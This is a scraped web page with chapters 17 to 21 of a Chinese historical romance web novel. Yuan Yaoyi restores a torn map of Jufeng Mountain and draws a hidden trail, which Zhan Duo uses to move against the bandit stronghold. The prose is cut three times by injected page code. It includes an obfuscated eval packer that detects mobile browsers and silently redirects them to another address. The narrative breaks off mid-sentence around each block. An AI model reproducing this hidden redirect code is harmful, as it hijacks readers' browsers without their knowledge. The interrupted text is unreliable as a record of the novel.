$(''.inform'').remove(); $(''#content'').append('' 我写得不对?” 詹铎回神,轻咳了声:“对的。还有哪些字不会,我交给你。” 见他伸手过来,袁瑶衣把册子给了他,并指着一处。后面,他真的帮她改了许多,不会的,写错的…… 不好再让他多改,她后面把册子收了回来。 詹铎也没说什么,便轻轻合了双目,细长的指尖在太阳穴处揉了几下。 袁瑶衣见他这般,应是在想他自己的事,便重新回到靠门的地方,安静坐好。 车厢内小小的气流,詹铎能清晰感应。不禁眼睛眯开一条缝,看去靠在车壁的女子。不修改册子,她重又坐得远了,微微低着头,拿她的小手指在膝头轻轻划着,仔细看,她是在写那个“楹”字。 是怕忘了吗?一遍遍的写。 他重阖上眼睛,清冷的嘴角松缓开,轻轻一弯。 近戌时,马车入了闳州府,并未直接回周家,而是先停在一处较偏的城墙下。 詹铎下了车。 袁瑶衣坐了一路的车,略有些头晕,便也下了车透气。她不会走远,就在马车旁边等着。 车外,重五正搓着手,见她出来,咧开嘴笑:“这里避风,瑶衣娘子过来站。” 袁瑶衣走过去,顺着手里给重五塞了个橘子:“家里带来的,你尝尝。” “多谢娘子。”重五性子活络,当即就剥开来,往嘴里塞了两瓤,“公子在前面,等事情办妥,咱们就回去,耽搁不了多久。” 顺着重五示意的方向,袁瑶衣看到站在远处的詹铎。 他手里提着一盏灯笼,站在厚重的城墙下,映出一方颀长的身姿。他面前,似跪着一个人,被两名士兵摁压在那儿。 “是抓到犯人了?”袁瑶衣随意问了声。 重五摆手,笑道:“准确来说是个匪寨出来的贼子,他身上有公子要的东西,一张图。” 不知为何,袁瑶衣当即想到那张巨峰山的舆图。只不过这是詹铎的事,她不好过多打听,便没再问。 前方,詹铎似乎是在问着什么,而那贼子伏在地上应话。 寒风中,只送来些细碎的语音,完全不知道他们在说什么。 袁瑶衣觉得冷,想回到车上去,就在要转身的时候,忽闻一声厉喝自城墙下传来。 她蓦的回头去看,詹铎仍站在那儿,而那原本跪在地上的贼子,不知用了什么办法猛力挣脱士兵的压制,从地上一跃跳起。 寒光一闪,他手中已然多了一柄利刃匕首,毫不犹豫的往前扑去,执着直刺向詹铎。 事发突然,没人料到这贼子会如此大胆,压制他的两个士兵甚至都未有反应。 初冬的冷夜,画面似是定格在这一刻。 那人高高跳起,双腿在空中借力弯起,身体就是一张紧绷的弓,离了地面半丈高,举起的短匕划出一抹寒光,直刺挺拔而立的詹铎。 刚才伏在地上有多卑微,如今就有多狠戾。 眼看,那匕尖寸寸靠近他的胸口窝。 “嘭”,冰冷的夜里传出一声闷响。 18.第 18 章 冷夜中,一道火光划过,像是要将冷重的黑暗撕开。 就见千钧一发间,詹铎握在手中的灯杆狠狠砍上贼子的脖颈,动作快得让人看不清。 一声沉重的闷响,贼子摔去地上,冬日地上冷硬,砸起一片尘灰。刚才蓄力跳得多高,如今跌得就有多惨。 而灯杆上的灯笼,随着詹铎的力道脱落飞出,正落在袁瑶衣脚下,顷刻燃了,化为灰烬。 她不由往后一退,身旁的重五,一脚踢开灯笼骨。 而不远处,贼子趴在地上痛苦的哼唧,强撑着爬起来,踉跄着就想逃走。 詹铎仍站在原处,脚尖抬了下,只听嗖得一声,一粒石子从空中飞过,直直打上贼子的腿弯。 “噗通”,这人没跑几步,便又栽回到地上。这回是彻底的爬不起来,被追上来的几名士兵给压制住。 如今,贼子已看不出人形,乱发散开遮住满是血污的脸。 袁瑶衣正站在几步外,一切发生在一瞬间,只是眼睛在看,脑中甚至没有反应。 “当啷”,詹铎手一松,那截空荡荡的灯杆丢去地上,遂缓缓转身。 夜风曳着他的袍角,素青色缎料在黑暗中更显深沉,他走到马车前,瞧了眼站在那儿的袁瑶衣。 女子家的,可能少见这种场面,许是吓到了,愣在那儿。 “上车去。”他对她道了声,转回身去,正好挡住那片血腥场景。 贼子被死死摁在地上,一张脸踩在土里,每每喷气便吹起一层尘土。很快,灰蒙蒙的视线里,出现一双皂靴。 “把舆图交出来。”詹铎居高临下,睥睨着地上的人。 贼子嘴里叽里咕噜的,已经没有完整话。 詹铎不欲浪费时间,给了副将一个眼神,后者会意,揪起贼子就是一顿搜,最后从人身上搜出一把碎布片。 “都被我撕了,呵呵……你放了我,我就重绘一张。”贼子嘟哝着,嘴里往外冒着血。 布片交到詹铎手里,果然是撕毁的舆图。 因为是绘制在棉布上,这样的织物本就脆弱,这一撕扯怕是没办法再复原。 他面色一沉,那些布片在掌心里一攥:“把人带回州衙。” 说完,手往后一甩,那些破布片扔去给了重五。他已大步离开,直奔自己的马,翻身上去,抓起缰绳,只听马儿一声嘶鸣,一人一马已经消失在暗夜中。 随之,所有兵士跟着骑马追随而去。 一场沙尘卷起、消散,黑夜里只余下渐渐远去的马蹄声。 “公子应该不会回周家了,我送娘子回去吧。”重五道了声,低头看眼手里的碎布。 袁瑶衣说好,脑海中还浮现着方才的影像,詹铎面不改色的抡起灯杆,狠狠敲下,那股力道像是要将对方脑袋敲爆…… “这是什么?”她问了声,不去想刚才的画面。 “哎,”重五叹了声,愁眉苦脸,“这是公子在找的那张图,现下撕毁了。” 他跟在詹铎身旁多年,知道这位主子的脾性,但凡有用的东西不会丢出来,这碎舆图扔给他,可见是不能用了。说回来,他也不敢丢,只能收着,万一主子想起来,再问他要。 袁瑶衣正踩着马凳,闻言看去重五手里:“给我看看吧。” 重五想想,已是一把破布,看看也没什么,就交到了她手里。 。 亥时过半,袁瑶衣终于回到了虹宇院,跟着回来的,还有那四抬箱子。没有地方摆,全摞在西厢的墙角。 寒夜寂静,西厢卧房的灯迟迟不熄。 “娘子做得没错,”对于袁瑶衣要回箱子,连婶很是赞成,“你该为自己以后打算,手里总得握点东西才行。” 袁瑶衣刚刚沐浴完,身上松松一件白绸衬裙,外头披件窄袖短褂。半湿的头发尽数散在后背,周身萦绕着一层水润柔软。 “我是没想到怎么处理,”她站在前边,双手掀开最近的一箱,“里面有各种料子,连婶你挑些做衣裳。” 连婶眼前一亮:“这些都是很好的,可见公子看重你。” 袁瑶衣没说别的,只挑了些布料给连婶。她知道詹铎不是看重她,只是做一些该做的,若换做任何人,他亦会如此。 “这厢谢过娘子了。”推辞几番,连婶欢喜接受了好意,也打心里更喜欢这姑娘。 袁瑶衣提起放在桌上的包袱:“连婶给我找些针线和浆糊来。” 说完,走进里间卧房。 里间点了炭盆,融融的暖和。 她在桌边坐下,将包袱打开,首先映入眼帘的便是两团乱遭碎片。一团纸的,一团布的。 袁瑶衣想知道姨母的信写了什么,于是开始拼纸片。 耳边,似乎响起父亲的怒骂声,说是姨母带坏了她。可她喜欢姨母,和懦弱的母亲不一样,那是个有想法又能干的女子,会写信给她说外面的事,会寄送东西给她。 只因为当初姨母违背家里安排,与姨父私自定情,便被很多人指责不守礼道,伤风败俗。 自然,守旧古板的父亲是看不上的。 “娘子这是要粘起来?”连婶走进来,把准备好的东西往桌上一搁。 袁瑶衣正拼着纸片,看着上头皱巴巴的字:“瞧着,好似是缺了。” 连婶道声慢慢来,仔细把灯调亮了些:“天晚了,娘子不如明天再弄。” “一会儿就好。”袁瑶衣应了声,手里正捏着一张碎片。 时辰不早,她让连婶回去休息,自己坐在灯前,继续拼凑着。 废了些功夫,这封撕毁的信总算是重新粘好,可也确实少了一片。她展平信纸,看着上面一字一句,手指尖点在一处,正好是那缺损的地方。 “怎么偏巧就缺了这儿?”袁瑶衣小声嘀咕。 信上,姨母提及了刚开张的店铺,可巧,破缺的地方正是店名。不过,至少知道人在京城,且全家安康,这是好事儿。 袁瑶衣将信仔细叠好收起,然后把桌角的那些布片拿到眼前。 相对于自己的那封信,这些布片可真算得上麻烦。 布是由棉线根根织成,大力撕扯开,断口凌乱破碎,原本绘于上头的图跟着毁掉。这图原就没打算交给詹铎,是以真可算是破破烂烂。 袁瑶衣平展开一块较大的,铺在桌面上,然后手里拿着细针,将那些撕的变形的棉线,仔细挑回原来的位置…… 。 翌日天将明,忙碌一宿的詹铎回到周家。 他脚下生风,快步穿过游廊。 “公子,可要准备些吃的?”重五小跑着跟在人身后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12987051|134955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偷偷打了个哈欠。 “不必,”詹铎看着前方,面色淡淡,“把昨日的舆图给我。” “啊?”重五瞬间再无睡意,支吾着,“在,在瑶衣娘子那儿……” 他怎么就忘了要回来?都怪这贪睡的毛病。 前头,詹铎脚步顿住,脸微侧:“什么?” 他的声音低沉,薄薄的唇几乎看不出动,却让人无比清晰听清他的话音,一对细长的眼睛半眯着。 重五打了个激灵,觉得脖子凉飕飕的:“我这……” 还不等他说完,詹铎已经大步离去,身形很快进了虹宇院的院门。 “坏了,”重五站在原地,咽了口口水,“公子不会迁怒于瑶衣娘子吧?” 而这厢,詹铎已经进了院子,径直去了西厢门前。清晨,院中还很安静。 他才要抬手敲门,忽的,面前的门扇被人从里面拉开,不期然,对上一双柔软的眼睛。 大概是没想到他站在外面,她眼中很快生出愕然,懵愣的眨了下眼。柔软的头发简单扎着,缠了条淡紫色的丝带。 “公,公子。”袁瑶衣吸了一气,轻唤了声。 想到自己还未仔细打理,遂拉着外衫往胸口遮了遮。 詹铎也觉唐突,道声:“重五说舆图在你这儿。” 袁瑶衣明白了他的来意,身形往旁边一让:“在桌上。” 闻言,詹铎只想赶紧拿着那张烂图,看能不能找出点线索,没有多想便进了屋。 一进门,两三步到了圆桌前,正待伸手,看见了铺满半张桌面的舆图。 屋中光线尚且昏暗,借着微弱曦光,却也知道这就是那张巨峰山舆图。居然是完整的,方正平整。 袁瑶衣走过来,手指指着图上一处:“我记得这里还有一条上山的路。” 说着,她的指尖在图上画了一小段。 “你修好的?”詹铎问,视线落在身边的女子身上。 袁瑶衣收回手,点头:“以前,姨母教过我布料的修补方法,我就试着补了补这图。比她的手艺,我差了许多,瞧着有些地方还是粗糙。” 詹铎将图拿起,上头的线路清晰可见,哪还是昨晚的那一堆烂布? 细长的手指托着舆图底部,指尖抚过皆是平整,竟试不出缝补拼接的痕迹。 桌上,还有一封粘贴好的信,亦是安安静静躺在那儿,是他昨日见到的那些碎纸。一个晚上,她全部修好了。 不由看去她的眼睛,果然眼中浅淡的血丝,印着些许疲惫。 “公子觉得可还能用?”袁瑶衣问。 昨晚重五说过,这图应该没什么用了;或者,那贼人重新绘制了一张。 “有用,”詹铎将舆图叠好,突然意识到自己这是进了她房中,“有劳你了,若在军中,当记你一功,予以奖赏。” 袁瑶衣觉得这话说得离谱,嘴角浅浅:“只是顺手而已。” 一张圆桌,两人各站一侧,一高一矮。 “应该的,”詹铎双手往后一背,似乎一定要她说个要求,“你想要什么?” 袁瑶衣想起这些日子的种种,觉得和他虽然陌生,但总不能什么也不说。 她眼帘半垂,手指绕着腰间垂下的系带。 “我是有件事要与公子你说。” 19.第 19 章 詹铎站在桌旁,边上就是一根凳子,没有要坐下的意思,看起来随时准备离开。 他很忙,这一点儿袁瑶衣知道:“我没想过别的,或者公子以后,只当我是婢女吧。” 她对他无攀附之心,他对她亦无情意,勉为其难的绑在一起,如此谁又会好过?不如就此说个清楚。 屋中尚不明亮,詹铎背光而立,看不出面上情绪。 “婢女?”少顷,他齿间吐出两个字。 袁瑶衣心中已然决定,继续道:“公子有自己的事情要做,真的无需费心我之事,有些道理我都明白。” 虽说他手中有那张纳妾文书,可他并未落上他的名字,也未送去官府盖章定下。 她和他,只有名义上薄薄的一层关系而已。 詹铎的眼尾一挑,看着女子恬静的脸:“你就要这个?” 他要给她奖赏,她这里说什么婢女? “是,”袁瑶衣颔首,手指捻着香罗带的边角,“请公子带上我,一起上京,有事便吩咐我。” 见着詹铎如此平静的说话,她觉得事情差不多是成了。他一个世家郎君,年纪轻轻有了功绩,此番回京述职,而她只是个意外,何不聪明一点儿,主动退开,也避免惹上更多麻烦。 眼下,她要的是借着他去京城,然后找到姨母。 她将话说出来,便等着詹铎回复,站了好一会儿,也不见他应允。 这时,外面院中有了动静,是奴仆们开始了新一日的忙碌。 袁瑶衣视线慢慢上移,从眼前的桌面,到那身素青的衣袍,然后是男人清隽的面庞,那一双深沉的眼眸正好与她对上。 原本还想说点儿什么,被这样的视线盯着,那些话瞬间就烟消云散。那双眼又冷又深,带着勾子般能扯开人的心防,窥探到内里。 “你说的这些,”詹铎薄唇微动,用着比往常轻和不少的声音道,“后面我会安排,有些事你莫要再担心。” 他往院中看了眼,天色已驱明亮。还要要事处理,遂握着舆图往外走。 袁瑶衣觉得他这是应下了,见他离开,跟着往前送了两步:“公子,那这些呢?” 她指着墙边的箱子,既然说清了,那这些东西理应还给他。 詹铎不在意的扫了眼,脚步不停:“留着吧。” 说完,人已经走去了院中,走出了院门。 清晨的寒气从屋门进来,袁瑶衣缩了缩脖子,赶紧将门关上。 现在与詹铎说了明白,心头松快不少。想着等他办完闳州这边的事,她就可以跟着去京里,然后找姨母。 她走去桌边,捡起信纸,就算没有地址,但是知道姨母开了间布庄,打听打听总能找到。 这厢。 詹铎有了舆图,准备再回州衙一趟。 重五跟着,惊讶于那张复原的舆图:“瑶衣娘子好手艺,这都能修好。” “是很好。”詹铎看眼攥在手里的布卷,“就是胆子还那么小,可能上次诗会的事吓到她了。” 他都说过会给她交代,她还小心翼翼的说做他的婢女。无论怎么样,他对她有责任,根本不会丢下她。 想着,竟不自觉摇了摇头,薄薄的唇角勾了个弧度。 重五偷偷观察着主子,不知道人为什么莫名其妙的笑了下。不过,刚才主子确实夸了袁瑶衣…… “准备准备,”詹铎斜斜睨了眼,唇角的弧度消失干净,“两日后启程回京。” “啊?”重五一愣,随后赶忙应下。 心中却泛着嘀咕,这里的事不是还没处理完,就回去了吗? 。 午间明亮,一天中日头最好的时候。 虹宇院的西厢,袁瑶衣正和来看自己的阿素说话。 “你说要处理这些箱子?”阿素指着墙边四只箱子,脸上不无惊讶。 袁瑶衣简单说了事情来龙去脉:“我要去京里,带上这些到底麻烦。” 想来,詹铎乘的是官船,带着箱子,也容易被人乱造谣。 阿素明白过来,问:“你想好怎么做了?” 袁瑶衣手里习惯的抓着香罗带,指尖来回缠着:“找地方出手卖掉,只是不识门路。” 她不会再送回家去,父亲留了詹铎的银子,证明已经把她这个女儿卖了出去;要说退给詹铎,他不要是一回事,关键箱子里面大多是女子的用品。 “也不是没办法,”阿素往前凑了凑,笑道,“我家姑丈有间铺面,我去让他打听下?” 袁瑶衣眼睛一亮,面上欣喜:“若这样,便劳烦你姑丈了,卖少些也没关系,当然也不会亏了你们的佣金。。” 不用带沉重箱子上路,出手卖掉是最好的办法,里头器物都是崭新的,完全不影响售卖。 阿素直说不用,为上次的事一直心存愧疚,能帮到一点儿,也能心安些:“应该不难出手,最近城中各种东西都缺,布料、米粮……” “为何?年底了,不正是多备货的时候?”袁瑶衣不解。 “还不是巨峰山匪患闹的,”阿素叹气,“他们来去无踪的,挑着商队下手,水路和旱路都不放过。我娘都不敢让我哥跟着商队了。” 袁瑶衣唏嘘一声,世道乱百姓遭殃。不由记起詹铎的那张巨峰山舆图,他留在闳州,难道是…… “对了,前日回家,给你带了些草药。”她拿过桌边包袱,脑中不再多想,“以后你只能自己买药了。” 阿素笑容一淡:“瑶衣,以后照顾好自己。” 这一走,怕是两人再难相见。 袁瑶衣笑,眼中一滑而过的伤感:“我找到姨母,就给你来信。” “嗯,”阿素点头,“你姨母向来疼你,肯定会照应你。” 袁瑶衣点头,无论发生了什么,路总归还要往下走。 。 傍晚时分,整个周家传开来,说是詹铎准备回京,日子就定在两日后。 袁瑶衣是从连婶处知道的这个消息,着实是突然,屋中的箱子还未送出去,也不知道两日是否来得及。 到了夜里,詹铎回来,并叫了袁瑶衣去正屋。 一进正屋,便嗅到了好闻的月麟香。 袁瑶衣去到西间,詹铎站在书案后,面前铺开的正是那张巨峰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13007121|134955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山舆图。 “你之前标出的那条小路确实存在。”詹铎抬头,看着走近的女子,“不过现在没什么人走了,前面一段尚可辨出,后面差不多全被荒草覆盖。” 派出去的人回来说,这条小路荒废多年,所以舆图上并没标记。 袁瑶衣看去案上,她原先指的那处,已被用笔标记出:“以前也没什么人走,那小路是祖父采药来来回回踩出来的。” 她还记得小时候,行医的祖父会亲自带着徒弟上山,记录和发掘各种药草。 只不过后来这些记录全部断了,父亲袁僖于行医上资质平庸,只会些简单的病症,是以家中不复当年兴旺。 詹铎看她:“你是否知道,这条路后面通往哪里?” “知道,”袁瑶衣颔首,“我走过几次。” 小时候,祖母疼爱她,养她在身边。她时常跟着祖父去巨峰山,祖父会给她摘山里的果子,也会给她说那些药草的效用。 “公子想让我画出来,可能会慢些,毕竟也隔了几年了。” 詹铎这厢没开口,她竟然猜到他的意思。其实,她除了太谨慎,还是有些聪慧的。 “无妨,慢慢来。”他道。 很快,有人在他的书案旁摆了一张几,上头置好纸墨,那是给袁瑶衣准备的。 她也不扭捏,去了几旁坐下。她把图摆开来,借着明亮的灯火,还能看清图上那些修补的针脚。既然用这幅旧图,那说明贼子没有再画新图。 不由就想起那晚城墙下,詹铎拿一根灯杆,敲得贼子满脸血。下意识,身形轻抖一下。 “你冷?”书案后,詹铎的声音过来。 袁瑶衣才抓起毛笔,被这突来的一声一吓,抬头往书案后看。 詹铎正在看她,一只手臂撑着桌面,手指微蜷擎在额侧,下颌优美,鼻梁挺直,好一张出色的半侧脸。 他手中握着一卷书,带着些居高临下的睥睨。明明一副芝兰模样,偏就有一股上位者的压迫感。 “没有。”袁瑶衣摇头,嘴角一勾,没有过多解释,低下头看图。 屋中安静下来,两人各自坐在自己的位置,一高一低。琉璃莲花香炉飘出缕缕烟丝,弥漫开沁人的香气。 人在小时候记下的东西,往往都很深刻。 袁瑶衣也没想到,时隔多年,回想起来那条路,竟还是这般清晰。想起一点,后面的便顺理成章出来,包括小路旁的一草一木,甚至还有温暖的春日阳光。 她仔细的在图上画了一小节,怕画错,先用的炭笔,出错也能做修改。 忽的,她手里一顿,看着自己描出的那条小路,看似是通往深山,其实在一处地方折拐,会通去巨峰寨…… 书案后,詹铎掀了掀眼皮,瞅去小几的少女。脑袋微侧,盯着图发呆,手里有意无意捻着香罗带。 “怎么了?”他问。 蓦的,袁瑶衣回神,抬头对上男子深眸:“我有字不会写。” 她眼中带着未散去的疑惑,清软的声音响起在书房中。 “嗯,”詹铎忽的笑了声,看进那双澄澈的眼中,“什么字?” 20.第 20 章 这声笑在安静的书房内,显得略略突兀。 袁瑶衣以为自己听错了,印象中,她没见过詹铎笑。可现在,他嘴角明明是弯着的,虽然很轻。 她低头继续指着图上一处:“我记得这里有一块巨石,远看像乌龟,祖父称之为鳌台,在这条路上算是一个标识。” 身旁的位置投下阴影,那是詹铎已经到了她身后。 “所以,是‘鳌’字不会?”他问。 袁瑶衣点头,下一瞬觉察到身旁人俯下身来,若有如无的擦过她的左肩。脸微侧,视线中是男子放大的侧脸,鼻梁直挺,眉目深刻。 动作产生微动的气流,顿时便感觉到属于别人的温度。 “我来。”詹铎道声。 袁瑶衣身形一僵,那低沉声音钻进耳中之时,带着一片湿润气息落在耳廓,微微发痒。 视线里,男子白皙修长的手轻握笔杆,寥寥两下便写出了刚劲优美的字,正落在她用炭笔画出的标识之处。 这般靠近,他的呼吸落下来,扫过她的面颊,她被罩在他的身形之下,有种难以言喻的压迫感。 袁瑶衣僵硬的将双膝往外移着,虽然与他没有一点儿衣角的碰触,可就是很不自在…… “好了。”詹铎道,垂眸间见了女子缩坐着,像只乖巧的幼猫。 莫名,他想起她那本小册子。若他不在,她会不会画只龟来代替“鳌”字? “这里,”他指着鳌台那儿,看着炭笔标记处的浅淡纹路,“能通到巨峰山顶?” 袁瑶衣凑前去看:“能,却是需得从后山上去,十分陡峭,除了采药人,少有知道的。但是登了顶,便能看遍整片山。” 她边说,边用炭笔细细画出。心中的那个猜想越来越清晰,詹铎留在闳州,其实是为巨峰山匪寨。来外祖家贺寿,只是由头。 詹铎拧眉,心内思忖着什么:“山顶?” “对,”袁瑶衣用笔头继续点画着,“只要记住沿途的标识,一定会上到山顶。这里是黑石洞,这儿是滴水石……” 她认真讲着,詹铎一字不落的记住。垂眸间,是女子认真的面庞,忽扇的眼睫。 巨峰山地势险峻,易守难攻,昨晚到现在,他一直在研究地形。硬取,必然伤亡很大,且时值寒冬,山上林木萧条,积雪不溶,行踪很难藏匿。 如今阴差阳错,居然是袁瑶衣告知他还有一条路。 而她此时完整画完,侧仰着脸看他,似乎在等他的意见。 “不必用炭笔,直接拿毛笔画吧。”他把毛笔塞回去她手里,随后起身。 袁瑶衣手一紧,攥上毛笔,余光中身旁影子离去,背后的压抑感跟着减轻,顿觉肩头松快开。 她应了声是,拿笔润了墨,再将自己炭笔画下的痕迹,一一遮盖干净。 根除匪患是好事,世道不安稳,她也希望这一方得到安宁,百姓生活平定。 差不多在正屋已经一个时辰,图画好了,已经没什么事,袁瑶衣便想回自己的西厢。 书案后,詹铎握着舆图:“两日后启程回京,你准备下。” 袁瑶衣道声好,也不多问,福了一礼便离开了正屋。 。 詹铎准备回京,周家这边开始安排,消息也在城中传播开。 明日就要启程,袁瑶衣这边没有什么需要带的,都是些简单的平时用品。 “邺国公府不同于咱们周家,你去了可要多长些眼色,”于氏来了虹宇院,正坐在西厢这边各种叮嘱,“你算是从周家出去的,有什么事儿便捎信儿回来。” 袁瑶衣站在一旁听着,每每会轻声应下。 于氏瞅了一眼,笑道:“难得你得了他的中意,以后可有好日子咯。” 最开始,她对这桩事并不看好,毕竟一个平头女子。可如今,詹铎是真的会带人回京,反倒是周巧姿彻底毁了。 到底一人一命,有些东西强求不得。 “夫人的交代,瑶衣全都记下了。”袁瑶衣眉眼低顺,声音清浅软和。 其实心中却有些发急,因为她要出门一趟,处理四只箱子的事儿。 阿素帮她打听了一间铺子,说是能收下这一批东西,就定在晌午后过去谈。明日要启程离开,箱子必须尽快处理。 不过,有件事让她很开心。便是于氏允诺,让连婶跟着她一起进京。 好在于氏还有别的事,没有久留。 晌午过后,袁瑶衣从周家出来,一路去了古槐街。 这条街因一间小道观得名,观中一棵古槐,古槐观,古槐街,若逢吉日,人流如梭,女子用的东西较为好卖。 冬天里,街上人少,她很快找到了阿素提的那间铺子。 阿素的姑丈等在那儿,与铺子掌柜已经初步商议好。先前已经拿了些样品给掌柜过目,这厢袁瑶衣过来,是给对方具体的数目。 事情出乎意料的顺利,大概正如阿素所说,城中物资匮乏,因为闹匪患,很多东西进不来。她手里的这些都是上好的,所以掌柜也没趁机压价,更想着赶紧定下,然后去把箱子拉回来。 一切定好,袁瑶衣离开了铺子。 她将掌柜付的定银全给了阿素姑丈,对方跑动忙活,算是一点酬谢的佣金。 事情办妥了,肩上很是轻松。 “没想到姑娘做事这样利落,”连婶笑着,眼中带着赞赏,“要是带着四只箱子上路,的确费事,换成银两便方便多了。” 袁瑶衣笑:“以后有什么事,还需连婶多帮我。” 连婶忙称是,不免叹了声:“也是最近不太平,希望咱们一路上顺遂吧。好歹是官船,那帮穷凶极恶的贼匪不敢打主意。” 这些贼匪自然指的是巨峰山那帮,尤其年底了,越发的作恶多端,听说昨日便劫了一个村子,好生惨烈。 袁瑶衣停步,看去不远处的古槐观:“去求个平安符吧。” 此去一行山高路远,她或许不会再回来了,那便祈福顺利寻到姨母吧。 。 翌日,是个难得的晴天,湛蓝的天空,明媚的冬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022528|134955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳,给人一种启程前的顺遂感。 官船很大,前后两艘,时辰到,缓缓驶离了闳州府的渡头。 袁瑶衣在前面的船上,是詹铎所在的那艘,一起的还有耿芷蝶。 出来多日,小姑娘已经开始想家,一遍遍的说着京城如何。袁瑶衣便陪着一起,在舱房中说话。 “虽说天冷,可是京城的冬天一点儿不单调,比闳州有趣。”耿芷蝶吃着橘子,眼睛闪闪,“腊月的时候,还有各种冰雕灯可以看。” 袁瑶衣是第一次离开闳州,还是去千里外的京城。在耿芷蝶的话中,却也能感受到京城的繁华。 “京城的布庄多在哪些地方?”她手里剥着橘子,心里想着姨母的下落。 耿芷蝶眨巴着眼睛:“京城有名的布庄多在锦绣街,其余的大大小小分布在各处,上千家呢。” “那么多?”袁瑶衣心中吃惊,但一想是京城那样大的地方,却也正常。 做什么事都不会简单,一步步稳妥来就好,左右是确定姨母在京城。既然在,便一定能找到。 “快看,是铎哥哥。”耿芷蝶趴在窗口,喊了声。 袁瑶衣顺着窗口往外看,正见着詹铎自窗前过去,站在再前方甲板上。 可能是听见了耿芷蝶的声音,他往这边看了眼。 船在江上行进大半日,天擦黑的时候,停在一处渡头。 风陡然大了起来,扯着桅杆上的幡旗猎猎作响。 袁瑶衣出了舱房,方才重五过去说詹铎要见她。这厢一上甲板,大风几乎带着她往前走,要是身形不稳,真能被刮倒。 江上的浪头也大,带着船体起起伏伏,船板发出吱嘎声。 她一眼瞧见站在船头处的詹铎,背对而立,斗篷在风中翻摆。 “公子,你叫我?”她走去他身后。 詹铎转过身,跨了一步,挡住风来的方向:“我现在要下船去,可能明早回来,也可能后天。你和小蝶留在船上。” 他的话一如既往言简意赅,袁瑶衣一听便明白过来。他要回去对付巨峰寨,大肆张扬的离开闳州,只是给对方障眼法,他准备趁对方松懈,出其不意。 “知道了。”她应下。 詹铎看她,这个女子从来安静不多话,跟她说什么,她都好脾气接受,不问缘由。听说,她去过古槐观求了平安符…… “我是去巨峰山,”他开口,“山上的匪寨时常作乱,劫掠来往商队。这是其次,主要缘由是这队人马原先属于巡海水军,后面叛逃落草。既是官军中出来的祸害,我便是照着京里的意思,铲除这方祸患。” 袁瑶衣脸上微诧,没想到他就这样直接说出。 “怎么不说话了?”詹铎问,视线中的女子身形当真纤瘦。 他看到重五手里就有一枚平安符,那么她应当也会…… “预祝公子马到功成。”少女清软的声音响起,随之半弯下腰做了一礼。 詹铎薄唇抿平,可能风太大,额角有些隐隐作疼:“嗯,照顾好自己。” 21.第 21 章 风太大了,夹杂着不知从哪儿吹来的冰粒子,砸在脸上生疼。 袁瑶衣扶着船栏往岸上看,隐约的黑暗中,一队骑兵飞驰而去。领在最前头的便是詹铎,空中飞舞着他的绯色斗篷。 直到马蹄声消失,她才拢紧斗篷,重新回到船舱。 带兵打仗这种事她不懂,却明白兵贵神速。想来詹铎会一刻不停,折返回巨峰山,然后沿着她画的那条路,从后山悄悄潜上山顶。 “瑶衣姐姐,”耿芷蝶从舱房中出来,着一件轻柔的中衣,小脚儿踩在地上,“铎哥哥去哪儿了?” 袁瑶衣赶紧走过去,怕人冻着,给领进了屋去:“可能去前面探路了吧,毕竟风大浪急的。” 船身晃了晃,舱房亦整个跟着摇摆。着实是风大,即便是船停在渡头上,也并不平稳。 “我睡不着,”耿芷蝶拽着袁瑶衣的袖角,仰了一张小脸儿,“你留下来好不好?” “好。”袁瑶衣应下,抬手摸着小姑娘毛茸茸的脑袋。 后知后觉,她行为逾越,面前的是侯府姑娘,不是她的小妹。她收回手,转身去关了舱门。 这厢耿芷蝶高兴了,在自己的枕头旁又摆了一个,手里拍了两下:“瑶衣姐姐,你睡这儿。” 袁瑶衣走过去,刮着床沿坐下:“蝶姑娘,你不能唤我姐姐,就叫瑶衣吧。” 有些事情不能不考虑,让有心人听去,添油加醋的一说,不知能闹出什么。在周家时,她又不是没领教过,还是小心稳妥为妙。 “那么,”耿芷蝶侧着小脑袋,想了想道,“没人的时候我叫你姐姐。” 房中熄了灯,两人躺去床上。 外头风呼呼刮着,真正冷得时候算是来了,京城需得再往北,怕是会更冷。 袁瑶衣的耳边是耿芷蝶软软的声音,说船沿江再往前一段,会进入运河,然后一路北上回京。 不知不觉间,两人先后睡了过去。 。 船停在这儿的第二天,大风停了,天却阴沉。 袁瑶衣给自己填了件夹袄,站在船边看去巨峰山的位置。自然是什么也看不到,只是个大体的方向而已。 不知道那边什么情况,詹铎的剿匪是否顺利。 “水边那些亮晶晶的是什么?”耿芷蝶蹦跳着过来,抬手指去岸边。 袁瑶衣看过去,果然见着些水晶透亮的东西:“是冰。江水拍上岸,水沾在石头或者草上,一层层的就成了冰。” 